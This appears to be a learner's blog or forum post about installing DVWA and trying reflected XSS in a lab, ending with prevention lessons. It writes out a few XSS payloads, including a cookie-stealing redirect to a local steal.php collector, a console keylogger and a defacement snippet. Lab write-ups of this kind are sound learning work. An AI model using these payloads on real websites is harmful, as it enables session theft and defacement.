S
Samuel Adeduntan
Guest
My Overview of Web Application Security
Sharing my own experience of finding and comprehending Reflected XSS vulnerabilities excites me. Setting up DVWA (Damn Vulnerable Web Application) was the ideal hands-on learning environment for me as someone who has been studying cybersecurity. Allow me to take you through my journey, including the challenges, discoveries, and important lessons I've learnt.
My Setup Obstacles: The Start of Real-World Education
The Docker Obstacle
When I first began out, I believed that Docker would be the simplest route:
But quickly hit my first roadblock: Command 'docker' not found
This taught me my first lesson: assumptions about pre-installed tools can derail your progress. Rather than getting frustrated, I pivoted to a manual installation.
My Manual DVWA Installation
I decided to go the traditional route:
The permission issues were expected but easily solved
Database Configuration: My Biggest Challenge
Here's where things got interesting for me. The database conflicts were real:
The control procedure ended with an error code, which is why the mariadb.service job failed.
I found that MySQL was already operating on XAMPP:
Working directly with the MariaDB system and terminating XAMPP's service was the solution:
My Password Reset Adventure
I encountered authentication issues and had to reset the MySQL root password:
Next, in a different terminal i inpute this:
MariaDB [(none)]> UPDATE user SET authentication_string=PASSWORD('mynewpassword')
I learned more about database administration from this practical troubleshooting than from any tutorial!
My Exploration of Reflected XSS
First Contact with the Vulnerability, After finally getting DVWA running, I navigated to the reflected XSS section. The simple form asking for my name seemed innocent enough, but I knew better.
My first test was classic:
alert('XSS Success!')
I was both excited and concerned when the alert appeared; I was excited to realize how vulnerable I was, and I was worried about how widespread this must be in the wild.
Developing My Understanding, I spent hours experimenting with different payloads:
*- Cookie stealing attempts (in my controlled environment):
*document.location='<a href="http://localhost/steal.php?cookie='+document.cookie">http://localhost/steal.php?cookie='+document.cookie</a>
- Keylogger simulations: document.onkeypress = function(e) { console.log(e.key); }
- Defacement tests: document.body.innerHTML = '<h1>This site has been hacked</h1>';
I gained a deeper comprehension of the possible impact with each trial.
Some of my "Aha!" moments
The Understanding of Input Sanitization, Upon examining the susceptible code, I realized why this occurred:
The application made a risky assumption by fully trusting user input.
The Disclosure of Security Levels
It was enlightening to experiment with various DVWA security levels:
- Low: No defense
- Medium: Simple filtering that is evasive
- High: Using htmlspecialchars() for proper sanitization
This demonstrated to me how protective tactics have changed over time.
My Personal Security Lessons
The Things I Discovered About Prevention
- Always double-check input I now see why this is rule #1.
- Due to the differences between HTML, JavaScript, and URL encoding, use context-appropriate encoding.
- Put CSP headers into practice because they offer a crucial safety precaution.
My Shifted Viewpoint
Before this hands-on experience, XSS was just a theoretical concept to me, but Now:
- When I write code, input validation comes to mind right away.
- I inspect web applications more critically
- I understand why security headers matter
My Advice to Fellow Learners
If you're starting your security journey:
- Expect setup challenges - They're learning opportunities in disguise
- Experiment safely - Use environments like DVWA, not real websites
- Understand the why - Don't just execute payloads; understand how they work
- Learn prevention - Understanding attacks is useless without knowing defense
My Continuing Journey
This DVWA setup and XSS exploration was just the beginning for me. I'm now exploring:
- Stored XSS vulnerabilities
- DOM-based XSS
- Advanced filtering bypass techniques
- Automated vulnerability scanning Every day brings new challenges and learning opportunities in this fascinating field.
My own experiences learning about web application security are reflected in my personal journey. Don't forget to only test systems you own or have authorization to test, and always practice ethical hacking.
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